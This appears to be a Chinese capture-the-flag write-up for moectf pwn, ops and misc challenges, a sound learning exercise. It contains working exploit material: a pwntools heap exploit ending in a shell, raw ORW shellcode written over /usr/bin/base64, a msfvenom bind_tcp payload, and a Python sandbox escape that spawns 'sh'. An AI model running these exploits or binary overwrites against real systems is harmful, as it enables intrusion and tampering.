s("echo bbbbbbbb > aaa "+"a"*0x1+" "+"b"*0x1+" "+"c"*0x1+" "+"d"*0x1+" "+"e"*0x1+" "+"f"*0x1+" "+"g"*0x1+" "+"a"*16+p64(heap+0x40))
s("echo bbbbbbbb > aaa "+"a"*0x1+" "+"b"*0x1+" "+"c"*0x1+" "+"d"*0x1+" "+"e"*0x1+" "+"f"*0x1+" "+"g"*0x1+" "+"a"*15)
s("echo bbbbbbbb > aaa "+"a"*0x1+" "+"b"*0x1+" "+"c"*0x1+" "+"d"*0x1+" "+"e"*0x1+" "+"f"*0x1+" "+"g"*0x1+" "+"a"*8+p64(heap+0xc0))

s("cat aaa")

libcs = u64(r.recv(6)+"\x00\x00")
log.info("libc:"+hex(libcs))
libc_addr = libcs- 0x21ace0

pie_ptr = libc_addr + 0x219e38
stack_ptr = libc_addr + 0x21ba20
stack_ptr2 = libc_addr + 0x222200


s("echo bbbbbbbb > aaa "+"a"*0x1+" "+"b"*0x1+" "+"c"*0x1+" "+"d"*0x1+" "+"e"*0x1+" "+"f"*0x1+" "+"g"*0x1+" "+"a"*8+p64(pie_ptr))


s("cat aaa")
s("cat aaa")

pie = u64(r.recv(6)+"\x00\x00")-0x4020
log.info("pie:"+hex(pie))
s("echo bbbbbbbb > aaa "+"a"*0x1+" "+"b"*0x1+" "+"c"*0x1+" "+"d"*0x1+" "+"e"*0x1+" "+"f"*0x1+" "+"g"*0x1+" "+"a"*8+p64(pie+0x4028))
s("echo "+(p64(libc_addr + 0x10d9c2)[:6])+" > aaa")
s("echo bbbbbbbb > aaa "+"a"*0x3+" "+"b"*0x1+" "+"c"*0x1+" "+"d"*0x1+" "+"e"*0x1+" "+"f"*0x1+" "+"g"*0x1+" "+"a"*8+p64(pie+0x4060))


s("echo bbbbbbbb > aaa "+"c"*(0x8+19)+"a"*29+"\x01")
s("echo bbbbbbbb > aaa "+"c"*(0x8+12)+p64(pie+0x4070))


s("echo $ > aaa")
s("luofuck")


r.interactive()

开发与运维基础

哦不!我的libc!

题目说环境没有libc,那就需要一个不需要libc就能执行的可执行文件,用纯汇编写一段orw。

    # 将/flag.txt字符串写入栈并将地址保存到r11寄存器
    mov r10,0x74;
    push r10;
    mov r10,0x78742E67616C662f;
    push r10;
    mov r11,rsp;

    # 构造sys_open 打开/flag.txt
    sub rsp,0x100;
    mov rax,2;
    mov rdi,r11;
    xor rsi,rsi;
    mov rdx,rsi;
    syscall;

   # 构造sys_read 读取/flag.txt
    mov rdi,rax;
    mov rsi,rsp;
    mov rdx,0x80;
    xor rax,rax;
    syscall;

   # 构造sys_write 输出/flag.txt
    mov rdi,1;
    mov rax,rdi;
    syscall;

生成的shellcode

Offset      0  1  2  3  4  5  6  7   8  9  A  B  C  D  E  F

00000000   49 C7 C2 74 00 00 00 41  52 49 BA 2F 66 6C 61 67   
00000010   2E 74 78 41 52 49 89 E3  48 81 EC 00 01 00 00 48   
00000020   C7 C0 02 00 00 00 4C 89  DF 48 31 F6 48 89 F2 0F   
00000030   05 48 89 C7 48 89 E6 48  C7 C2 80 00 00 00 48 31   
00000040   C0 0F 05 48 C7 C7 01 00  00 00 48 89 F8 0F 05      

发现用什么工具编译都不能弄出不依赖libc的东西,静态编译的话又太大。这时想到metasploit编译的meterpreter客户端都短小精悍,一般只有250b,用ida打开发现都是纯纯大汇编。利用winhex将入口(0x78处)的shellcode换成我们的。
覆写完的文件hex

Offset      0  1  2  3  4  5  6  7   8  9  A  B  C  D  E  F

00000000   7F 45 4C 46 02 01 01 00  00 00 00 00 00 00 00 00    ELF            
00000010   02 00 3E 00 01 00 00 00  78 00 40 00 00 00 00 00     >     x @     
00000020   40 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00   @               
00000030   00 00 00 00 40 00 38 00  01 00 00 00 00 00 00 00       @ 8         
00000040   01 00 00 00 07 00 00 00  00 00 00 00 00 00 00 00                   
00000050   00 00 40 00 00 00 00 00  00 00 40 00 00 00 00 00     @       @     
00000060   FA 00 00 00 00 00 00 00  7C 01 00 00 00 00 00 00   ?      |       
00000070   00 10 00 00 00 00 00 00  49 C7 C2 74 00 00 00 41           I锹t   A
00000080   52 49 BA 2F 66 6C 61 67  2E 74 78 41 52 49 89 E3   RI?flag.txARI夈
00000090   48 81 EC 00 01 00 00 48  C7 C0 02 00 00 00 4C 89   H ?   H抢    L?
000000A0   DF 48 31 F6 48 89 F2 0F  05 48 89 C7 48 89 E6 48   逪1鯤夠  H壡H夋H
000000B0   C7 C2 80 00 00 00 48 31  C0 0F 05 48 C7 C7 01 00   锹€   H1? H乔  
000000C0   00 00 48 89 F8 0F 05 25  49 FF C9 74 18 57 6A 23     H夬  %I蓆 Wj#
000000D0   58 6A 00 6A 05 48 89 E7  48 31 F6 0F 05 59 59 5F   Xj j H夌H1? YY_
000000E0   48 85 C0 79 C7 6A 3C 58  6A 01 5F 0F 05 5E 6A 7E   H吚y莏<Xj _  ^j~
000000F0   5A 0F 05 48 85 C0 78 ED  FF E6                     Z  H吚x??

由于我们直接写入的文件没有可执行权限,chmod命令又不能使用。需要覆写进入一个已有的可执行文件内。利用printf函数无损写入

printf "\x7F\x45\x4C\x46\x02\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x3E\x00\x01\x00\x00\x00\x78\x00\x40\x00\x00\x00\x00\x00\x40\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x40\x00\x38\x00\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x07\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x40\x00\x00\x00\x00\x00\x00\x00\x40\x00\x00\x00\x00\x00\xFA\x00\x00\x00\x00\x00\x00\x00\x7C\x01\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00\x49\xC7\xC2\x74\x00\x00\x00\x41\x52\x49\xBA\x2F\x66\x6C\x61\x67\x2E\x74\x78\x41\x52\x49\x89\xE3\x48\x81\xEC\x00\x01\x00\x00\x48\xC7\xC0\x02\x00\x00\x00\x4C\x89\xDF\x48\x31\xF6\x48\x89\xF2\x0F\x05\x48\x89\xC7\x48\x89\xE6\x48\xC7\xC2\x80\x00\x00\x00\x48\x31\xC0\x0F\x05\x48\xC7\xC7\x01\x00\x00\x00\x48\x89\xF8\x0F\x05\x25\x49\xFF\xC9\x74\x18\x57\x6A\x23\x58\x6A\x00\x6A\x05\x48\x89\xE7\x48\x31\xF6\x0F\x05\x59\x59\x5F\x48\x85\xC0\x79\xC7\x6A\x3C\x58\x6A\x01\x5F\x0F\x05\x5E\x6A\x7E\x5A\x0F\x05\x48\x85\xC0\x78\xED\xFF\xE6" > /usr/bin/base64

执行

root@ret2shell-89-9018:~# base64
moectf{BU5YB0x-i5_SOO0OoO10OOOo0OOoOOOOO0o0OOo_BUSyd}
Segmentation fault (core dumped)
root@ret2shell-89-9018:~# 

哦不!我的nginx!

同上题,先构造纯纯大汇编读取/etc/nginx/nginx.confnginx的配置文件

mov r10,0x666E6F632E;
push r10;
mov r10,0x786E69676E2F786E;
push r10;
mov r10,0x69676E2F6374652F;
push r10;
mov r11,rsp;

sub rsp,0x300;
mov rax,2;
mov rdi,r11;
xor rsi,rsi;
mov rdx,rsi;
syscall;

mov rdi,rax;
mov rsi,rsp;
mov rdx,0x800;
xor rax,rax;syscall;

mov rdi,1;
mov rax,rdi;
syscall;

读取到

user www-data;
worker_processes auto;
pid /run/nginx.pid;
error_log /var/log/nginx/error.log;
include /etc/nginx/modules-enabled/*.conf;

events {
    worker_connections 768;
    # multi_accept on;
}

http {

    ##
    # Basic Settings
    ##

    sendfile on;
    tcp_nopush on;
    types_hash_max_size 2048;
    # server_tokens off;

    # server_names_hash_bucket_size 64;
    # server_name_in_redirect off;

    include /etc/nginx/mime.types;
    default_type application/octet-stream;

    ##
    # SSL Settings
    ##

    ssl_protocols TLSv1 TLSv1.1 TLSv1.2 TLSv1.3; # Dropping SSLv3, ref: POODLE
    ssl_prefer_server_ciphers on;

    ##
    # Logging Settings
    ##

    access_log /var/log/nginx/access.log;

    ##
    # Gzip Settings
    ##

    gzip on;

    # gzip_vary on;
    # gzip_proxied any;
    # gzip_comp_level 6;
    # gzip_buffers 16 8k;
    # gzip_http_version 1.1;
    # gzip_types text/plain text/css application/json application/javascript text/xml application/xml application/xml+rss text/javascript;

    ##
    # Virtual Host Configs
    ##

    include /etc/nginx/conf.d/*.conf;
    include /etc/nginx/sites-enabled/*;
}


#mail {
#    # See sample authentication script at:
#    # http://wiki.nginx.org/ImapAuthenticateWithApachePhpScript
#
#    # auth_http localhost/auth.php;
#    # pop3_capabilities "TOP" "USER";
#    # imap_capabilities "IMAP4rev1" "UIDPLUS";
#
#    server {
#        listen     localhost:110;
#        protocol   pop3;
#        proxy      on;
#    }
#
#    server {
#        listen     localhost:143;
#        protocol   imap;
#        proxy      on;
#    }
#}

用cd命令获取各个conf的文件夹,发现仅cd /etc/nginx/sites-enabled/的时候存在default文件,再用纯纯大汇编读取/etc/nginx/sites-enabled/default。

xor r10,r10;
push r10;
mov r10,0x746C75616665642F;
push r10;
mov r10,0x64656C62616E652D;
push r10;
mov r10,0x73657469732F786E;
push r10;
mov r10,0x69676E2F6374652F;
push r10;
mov r11,rsp;

sub rsp,0x300;
mov rax,2;
mov rdi,r11;
xor rsi,rsi;
mov rdx,rsi;
syscall;

mov rdi,rax;
mov rsi,rsp;
mov rdx,0x800;
xor rax,rax;syscall;

mov rdi,1;
mov rax,rdi;
syscall;

读取到

server {
    listen       80 default_server;
    root         /var/www/html;

    location / {
        index index.html;
    }
}
/etc/nginx/sites-enabled/default

现在得知nginx监听的是80端口,用纯纯大汇编写一个监听80端口,并将接收到的tcp流量输出出来,直接写起来有点费劲,想起来meterpreterbind_tcp功能与我期望的功能类似,bind_tcp是将接收的tcp流量shellcode写入内存跳转执行,我只需要将跳转执行这一段汇编代码改为输出,就能够获取接收的字符串了。
先用msfvenom生成一个马,

msfvenom -p linux\x64\meterpreter\bind_tcp LPORT=80 -f elf -o nginx

得到的程序反汇编

LOAD:0000000000400078                 push    29h ; ')'
LOAD:000000000040007A                 pop     rax
LOAD:000000000040007B                 cdq                     ; protocol
LOAD:000000000040007C                 push    2
LOAD:000000000040007E                 pop     rdi             ; family
LOAD:000000000040007F                 push    1
LOAD:0000000000400081                 pop     rsi             ; type
LOAD:0000000000400082                 syscall                 ; LINUX - sys_socket
LOAD:0000000000400084                 xchg    rax, rdi        ; fd
LOAD:0000000000400086                 push    rdx
LOAD:0000000000400087                 mov     [rsp+8+var_8], 50000002h
LOAD:000000000040008E                 mov     rsi, rsp        ; backlog
LOAD:0000000000400091                 push    10h
LOAD:0000000000400093                 pop     rdx             ; upeer_addrlen
LOAD:0000000000400094                 push    31h ; '1'
LOAD:0000000000400096                 pop     rax
LOAD:0000000000400097                 syscall                 ; LINUX - sys_bind
LOAD:0000000000400099                 pop     rcx
LOAD:000000000040009A                 push    32h ; '2'
LOAD:000000000040009C                 pop     rax
LOAD:000000000040009D                 syscall                 ; LINUX - sys_listen
LOAD:000000000040009F                 xchg    rax, rsi        ; upeer_sockaddr
LOAD:00000000004000A1                 push    2Bh ; '+'
LOAD:00000000004000A3                 pop     rax
LOAD:00000000004000A4                 syscall                 ; LINUX - sys_accept
LOAD:00000000004000A6                 push    rax
LOAD:00000000004000A7                 push    rsi
LOAD:00000000004000A8                 pop     rdi             ; addr
LOAD:00000000004000A9                 push    9
LOAD:00000000004000AB                 pop     rax
LOAD:00000000004000AC                 cdq
LOAD:00000000004000AD                 mov     dh, 10h
LOAD:00000000004000AF                 mov     rsi, rdx        ; len
LOAD:00000000004000B2                 xor     r9, r9          ; off
LOAD:00000000004000B5                 push    22h ; '"'
LOAD:00000000004000B7                 pop     r10             ; flags
LOAD:00000000004000B9                 mov     dl, 7           ; prot
LOAD:00000000004000BB                 syscall                 ; LINUX - sys_mmap
LOAD:00000000004000BD                 xchg    rax, rsi
LOAD:00000000004000BF                 xchg    rax, rdi
LOAD:00000000004000C1                 pop     rdi
LOAD:00000000004000C2                 syscall                 ; LINUX -
LOAD:00000000004000C4                 jmp     rsi

这里,只需要将末端的jmp rsi指令替换成以下指令,rsi为转跳地址,就是获取的字符串地址,无需修改,由于汇编码长于之前的代码,需要修改0x60处的文件大小。

mov rax,1;
mov rdi,rax;
mov rdx,0x800;
syscall;

试一试

root@ret2shell-91-9018:~# printf "\x7F\x45\x4C\x46\x02\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x3E\x00\x01\x00\x00\x00\x78\x00\x40\x00\x00\x00\x00\x00\x40\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x40\x00\x38\x00\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x07\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x40\x00\x00\x00\x00\x00\x00\x00\x40\x00\x00\x00\x00\x00\xE6\x00\x00\x00\x00\x00\x00\x00\x14\x01\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00\x6A\x29\x58\x99\x6A\x02\x5F\x6A\x01\x5E\x0F\x05\x48\x97\x52\xC7\x04\x24\x02\x00\x00\x50\x48\x89\xE6\x6A\x10\x5A\x6A\x31\x58\x0F\x05\x59\x6A\x32\x58\x0F\x05\x48\x96\x6A\x2B\x58\x0F\x05\x50\x56\x5F\x6A\x09\x58\x99\xB6\x10\x48\x89\xD6\x4D\x31\xC9\x6A\x22\x41\x5A\xB2\x07\x0F\x05\x48\x96\x48\x97\x5F\x0F\x05\x48\xC7\xC7\x01\x00\x00\x00\x48\xC7\xC2\x00\x10\x00\x00\x48\x89\xF8\x0F\x05\x48\xC7\xC0\x3C\x00\x00\x00\x48\x31\xFF\x0F\x05" > /usr/bin/base32
root@ret2shell-91-9018:~# base32
GET /files/0b9b96e8-65d1-431f-a056-923c1cded988 HTTP/1.1
accept: */*
host: 127.0.0.1

root@ret2shell-91-9018:~#

多次尝试,发现只有对端发送的代码,没有flag,再次读题,题目说明“客户”:会不断请求损坏的服务器,如果客户高兴的话,就会给你 flag(以请求参数形式传递);,并且cd 到html目录,发现服务器内存在对应文件,推断需要客户访问到对应的文件内容,才能反馈flag。这个要求代码量极大,用纯纯大汇编写起来非常坐牢,无奈退而求其次,用万能的chatgpt写一段c语言模拟httpserver服务,静态编译完扔回服务器。

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <arpa/inet.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>

#define PORT 80
#define BUFFER_SIZE 4096
#define WEB_ROOT "/var/www/html"

void handle_client(int client_socket) {
    char buffer[BUFFER_SIZE];
    char method[16], path[256], protocol[16];
    char full_path[BUFFER_SIZE];
    int file_fd;
    ssize_t bytes_read;

    // 读取客户端请求
    bytes_read = read(client_socket, buffer, sizeof(buffer) - 1);
    if (bytes_read <= 0) {
        perror("read");
        close(client_socket);
        return;
    }
    buffer[bytes_read] = '\0';

    // 将请求内容打印到标准输出
    printf("Received request:\n%s\n", buffer);

    // 解析 HTTP 请求行(GET /path HTTP/1.1)
    sscanf(buffer, "%s %s %s", method, path, protocol);

    // 只处理 GET 请求
    if (strcmp(method, "GET") != 0) {
        const char *response = "HTTP/1.1 501 Not Implemented\r\n\r\n";
        write(client_socket, response, strlen(response));
        close(client_socket);
        return;
    }

    // 处理请求路径
    snprintf(full_path, sizeof(full_path), "%s%s", WEB_ROOT, path);

    // 如果请求的是目录,默认返回 index.html
    if (full_path[strlen(full_path) - 1] == '/') {
        strncat(full_path, "index.html", sizeof(full_path) - strlen(full_path) - 1);
    }

    // 打开文件
    file_fd = open(full_path, O_RDONLY);
    if (file_fd < 0) {
        // 文件未找到,返回404
        const char *response = "HTTP/1.1 404 Not Found\r\n\r\n";
        write(client_socket, response, strlen(response));
        close(client_socket);
        return;
    }

    // 发送响应头
    const char *response_header = "HTTP/1.1 200 OK\r\n\r\n";
    write(client_socket, response_header, strlen(response_header));

    // 发送文件内容
    while ((bytes_read = read(file_fd, buffer, sizeof(buffer))) > 0) {
        write(client_socket, buffer, bytes_read);
    }

    // 关闭文件和客户端连接
    close(file_fd);
    close(client_socket);
}

int main() {
    int server_fd, client_socket;
    struct sockaddr_in server_addr, client_addr;
    socklen_t client_addr_len = sizeof(client_addr);

    // 创建套接字
    if ((server_fd = socket(AF_INET, SOCK_STREAM, 0)) == 0) {
        perror("socket failed");
        exit(EXIT_FAILURE);
    }

    // 设置服务器地址结构
    server_addr.sin_family = AF_INET;
    server_addr.sin_addr.s_addr = INADDR_ANY;
    server_addr.sin_port = htons(PORT);

    // 绑定套接字到指定的端口
    if (bind(server_fd, (struct sockaddr *)&server_addr, sizeof(server_addr)) < 0) {
        perror("bind failed");
        close(server_fd);
        exit(EXIT_FAILURE);
    }

    // 开始监听端口
    if (listen(server_fd, 10) < 0) {
        perror("listen failed");
        close(server_fd);
        exit(EXIT_FAILURE);
    }

    printf("HTTP server is listening on port %d, serving %s\n", PORT, WEB_ROOT);

    // 主循环,处理客户端连接
    while (1) {
        // 接受客户端连接
        client_socket = accept(server_fd, (struct sockaddr *)&client_addr, &client_addr_len);
        if (client_socket < 0) {
            perror("accept failed");
            close(server_fd);
            exit(EXIT_FAILURE);
        }

        // 处理客户端请求
        handle_client(client_socket);
    }

    // 关闭服务器套接字
    close(server_fd);
    return 0;
}

编译

gcc httpserver.c --static -o httpserver

由于生成的静态文件过大,一次性写入服务器会崩溃。

需要分段写入到可执行文件内,写出python脚本分割文件。

def file_to_hex_chunks(file_path, chunk_size=100000):
    i = 1
    with open(file_path, 'rb') as file:
        while True:
            # 读取指定大小的块
            chunk = file.read(chunk_size)
            if not chunk:  # 如果读取不到数据则退出循环
                break
            # 将每个字符转为\x格式的十六进制
            hex_chunk = ''.join(f'\\x{byte:02x}' for byte in chunk)
            # 输出结果
            f = open(str(i)+".txt","w")
            if i == 1:
                f.write('printf "'+hex_chunk+'" > /usr/bin/base32')
            else:
                f.write('printf "'+hex_chunk+'" >> /usr/bin/base32')
            f.close()
            i +=1 

# 示例使用
file_path = './httpserver'
file_to_hex_chunks(file_path)

将分段生成的命令依次输入终端,执行base32命令,得到flag。

root@ret2shell-91-9018:~# base32
HTTP server is listening on port 80, serving /var/www/html
Received request:
GET /files/f4e6aaf0-e319-4f07-941c-a01f4e4622f2 HTTP/1.1
accept: */*
host: 127.0.0.1


Received request:
GET /?flag=moectf{thAT5_not+veRY-H@rD-tO_reSCU3,r1ghT?978492} HTTP/1.1
accept: */*
host: 127.0.0.1


Received request:
GET /files/ca577100-1755-42ab-85d5-8d37b62da6e0 HTTP/1.1
accept: */*
host: 127.0.0.1


Received request:
GET /?flag=moectf{thAT5_not+veRY-H@rD-tO_reSCU3,r1ghT?978492} HTTP/1.1
accept: */*
host: 127.0.0.1

MISC

moejail_lv1

python的沙箱逃逸,直接力大砖飞

# coding=utf-8
from pwn import *

r = remote('192.168.248.1',1212)

def bypass(strs):
    r.recvuntil(" enter ")
    ques = r.recvuntil("=",drop=True)
    ans = eval(ques)
    r.sendline(ans)
    r.recvuntil("payload:")
    r.sendline(strs)

bypass("__import__('os').system('sh')")

r.interactive()

目录和根目录都没有flag,拿到程序源码,不知道为啥system和os都被ban了exp还能用。

import re
CONFIG_USE_FORK = True
MOTD = """😋 Welcome to the ez python jail!"""
def my_safe_eval(code):
    if re.match(r"os|system|[\\\+]", code):
        return "Hacked By Rx"
    return eval(code)
def chall(input, print):
    code: str = input("Give me your payload:")
    if len(code) > 100:
        print("Too long code, Sry!")
        return
    value = my_safe_eval(code)
    print(value)
def handle(input, print):
    import random
    import string
    print(
        "HTTP/1.1 302 Found\r\nLocation: https://lug.ustc.edu.cn/planet/2019/09/how-to-use-nc/\r\nContent-Length: 0\r\n\r\n===HTTP REQUEST PREVENT===\x00\033c"
    )
    try:
        print(MOTD)
        count = 0
        while True:
            captcha = "".join(
                random.choices(string.ascii_uppercase + string.digits, k=6)
            )
            captcha2 = "".join(
                random.choices(string.ascii_uppercase + string.digits, k=6)
            )
            if (
                input(
                    f"🤨 Are you robot? Please enter '{captcha}'+'{captcha2}'=? to continue: "
                )
                .strip()
                .upper()
                != captcha + captcha2
            ):
                count += 1
                print("🤖 Robot detected, try again")
                if count > 5:
                    print("🤖 Too many tries, blocked")
                    break
                continue
            count = 0
            try:
                chall(input, print)
            except Exception as e:
                print(f"🤔 Error: {e}")
    except Exception as e:
        print(
            f"\033c ========== Unhandled Error! ==========\n🥺  We cannot recover from error: {e}\nChild process exited. Please reconnect or ask administrators for help if error persist"
        )
def daemon_main():
    import os
    import socket
    import subprocess
    print("[Info] Server starting")
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    pwd = os.path.dirname(__file__)
    script = open(__file__, "rb").read()
    self_fd = os.memfd_create("main")
    os.write(self_fd, script)
    os.lseek(self_fd, 0, os.SEEK_SET)
    os.chmod(self_fd, 0o444)
    try:
        sock.bind(("0.0.0.0", 9999))
        sock.listen(1)
        while True:
            try:
                conn, addr = sock.accept()
                print(f"[Info] Connected with {addr}")
                fd = conn.fileno()
                subprocess.Popen(
                    [
                        "python",
                        "/proc/self/fd/{}".format(self_fd),
                        "fork",
                    ],
                    stdin=fd,
                    stdout=fd,
                    stderr=fd,
                    pass_fds=[self_fd],
                    cwd=pwd,
                    env=os.environ,
                )
            except Exception as e:
                print(f"[Error] {e}")
    except KeyboardInterrupt:
        print("[Info] Server stopped")
    finally:
        sock.close()
        print("[Info] Server closed")
if __name__ == "__main__":
    import sys
    if len(sys.argv) == 2 and sys.argv[1] == "fork":
        del sys
        handle(input, print)
    else:
        daemon_main()

查看启动文件,发现flag在/tmp目录下,文件名很长

#!/bin/sh
# FLAG="test{this_is_the_test_flag_and_never_be_used_in_production}"

echo "$FLAG" > "/tmp/.therealflag_$(echo "$FLAG" | sha512sum)"
unset FLAG

FILE=$(which "$0")
DIR=$(dirname "$FILE")

export PYTHONPATH="$DIR:$PYTHONPATH"
exec python "$DIR/main.py" "$@"

直接cat /tmp/.*

$ cd /tmp
$ cat *
cat: can't open '*': No such file or directory
$ cat *.
cat: can't open '*.': No such file or directory
$ cat .*
cat: read error: Is a directory
cat: read error: Is a directory
moectf{ah_H4-NoW-yOu_Know_hoW-T0_esc4PE_sImpIe-STrIng_Fl1ter0}

发表评论

email
web

全部评论 (暂无评论)

info 还没有任何评论,你来说两句呐!